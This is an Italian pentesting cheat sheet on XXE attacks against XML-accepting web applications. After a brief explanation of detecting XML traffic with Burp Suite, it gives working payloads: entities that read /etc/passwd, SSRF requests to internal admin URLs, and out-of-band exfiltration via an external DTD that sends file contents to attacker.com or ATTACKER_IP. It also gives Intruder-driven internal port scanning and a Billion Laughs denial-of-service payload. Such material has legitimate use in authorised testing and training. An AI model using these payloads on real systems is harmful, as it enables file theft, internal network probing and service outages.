tags: XML_Attack XML_External_Entity_XXE
L’XML è un linguaggio usato per definire e trasportare dati, simile all’HTML ma pensato specificatamente per gestire strutture dati personalizzate. Il suo uso è molto comune per lo scambio dati tra sistemi differenti, applicazioni web, servizi SOAP, API legacy, e documenti.
Tramite strumenti come BurpSuite possiamo vedere se la web application utilizza l’XML, un esempio di messaggio XML è il seguente:
<utente>
<nome>Mario</nome>
<email>[email protected]</email>
<telefono>123456789</telefono>
</utente>Per verificare rapidamente se un’applicazione utilizza XML, puoi fare:
-
Un’intercettazione delle richieste con Burp Suite (proxy intercettore).
-
Controllare gli header HTTP:
Content-Type: application/xmlotext/xml.
-
Controllare il corpo delle richieste HTTP intercettate, cercando strutture tipiche XML (tag con apertura e chiusura).
Come nell’esempio:
POST /api/users HTTP/1.1
Host: example.com
Content-Type: application/xml
<utente>
<nome>Mario</nome>
<email>[email protected]</email>
</utente>Manda la richiesta all’intruder e modifica il contenuto con il seguente:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<utente>
<nome>&xxe;</nome>
</utente>
#Oppure questo payload
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<contact>
<name>&xxe;</name>
<email>[email protected]</email>
<message>test</message>
</contact>Se l’applicazione è vulnerabile ci restituirà un la pagina /etc/passwd.
Altri payload
Payload per eseguire richieste interne HTTP:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY ssrf SYSTEM "http://127.0.0.1:8080/admin">
]>
<request>&ssrf;</request>Out-of-Band XXE:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://IP attaccante/malicious.dtd">
%dtd;
]>
<data>&send;</data>Con malicious.dtd sull’attacker server:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>"> %all;
#Oppure un altro payload è il seguente, con questo ti arriva una risposta in base64:
<!ENTITY % cmd SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oobxxe "<!ENTITY exfil SYSTEM 'http://ATTACKER_IP:1337/?data=%cmd;'>">
%oobxxe;
Qui, il contenuto del file locale è inviato all’attaccante tramite una richiesta HTTP.
Scansione interna delle porte:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://localhost:§10§/" >
]>
<contact>
<name>&xxe;</name>
<email>test@test.com</email>
<message>test</message>
</contact>Prendi la richiesta vulnerabile con BurpSuite o OWASP ZAP, la invii all’intruder e metti come payload il 10 dopo la porta con una wordlist di numeri che vanno da 1 a 65535 e vedi nelle risposte se c’è qualche cambiamento.
Denial of Service (DoS) con Entità Ricorsiva (Billion Laughs Attack)
Payload per sovraccaricare il parser XML:
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<data>&lol9;</dataIl parser XML potrebbe bloccarsi o causare un crash per eccesso di memoria.